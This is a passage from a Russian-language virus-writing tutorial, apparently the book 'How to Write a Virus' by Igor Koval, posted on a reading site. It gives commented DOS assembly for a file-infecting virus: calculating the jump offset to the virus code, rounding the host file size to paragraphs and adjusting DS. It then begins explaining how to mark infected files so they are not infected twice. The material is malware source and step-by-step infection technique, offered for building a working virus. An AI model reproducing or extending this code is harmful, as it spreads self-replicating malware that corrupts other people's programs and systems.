"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

;Расчитаем сме-
;щение для пере-
;хода на код ви-
;руса ...
sub ax,3 ;Сама команда
;перехода зани-
;мает три байта!
mov byte ptr new_bytes[1],al
;Смещение найде-
mov byte ptr new_bytes[2],ah
;но !
mov ax,di ;Сколько пара-
mov cl,4 ;графов содержит
shr ax,cl ;заражаемая про-
;грамма ?
dec ax ;Учитываем дейс-
;твие директивы
;ORG 110h ...
mov byte ptr add_to_ds,al
;Корректирующее
mov byte ptr add_to_ds+1,ah
;число найдено !

Вы уже, конечно, поняли,что вирус будет округлять
размер заражаемой программы до целого числа параг-
рафов в большую сторону .Например,пусть файл имеет
длину 401 байт .Тогда вирус запишет в DI значение
416 ( 25 целых параграфов, и еще один байт даст
округленное значение 416 ).В " new_bytes " запише-
тся число : 416 - 3 = 413, а в " add_to_ds " будет
помещено значение : 26 - 1 = 25 .
Чтобы лучше понять работу фрагмента,рекомендую вам
посмотреть пункт 1.6 . И еще - подумайте, за-
чем нужна команда " dec ax " .Надеюсь,вы без труда
в этом разберетесь !


1.12 Проверяем файл на зараженность

Мы, кажется, слишком увлеклись работой и не заме-
тили одной очень важной детали.Ведь может случить-
ся, что найденный нами файл уже заражен предлагае-
мым вирусом, а мы об этом даже не догадываемся !
Поэтому наш вирус заразит эту программу еще раз .В
принципе,количество заражений ничем не ограничено.
Программа будет расти, пока не достигнет размера
более 65535 байт, а после этого перестанет рабо-
тать.Чтобы такого не произошло, введем проверку на
зараженность .Например, в конец каждого заражаемо-
го файла будем записывать цифру " 7 ", а при за-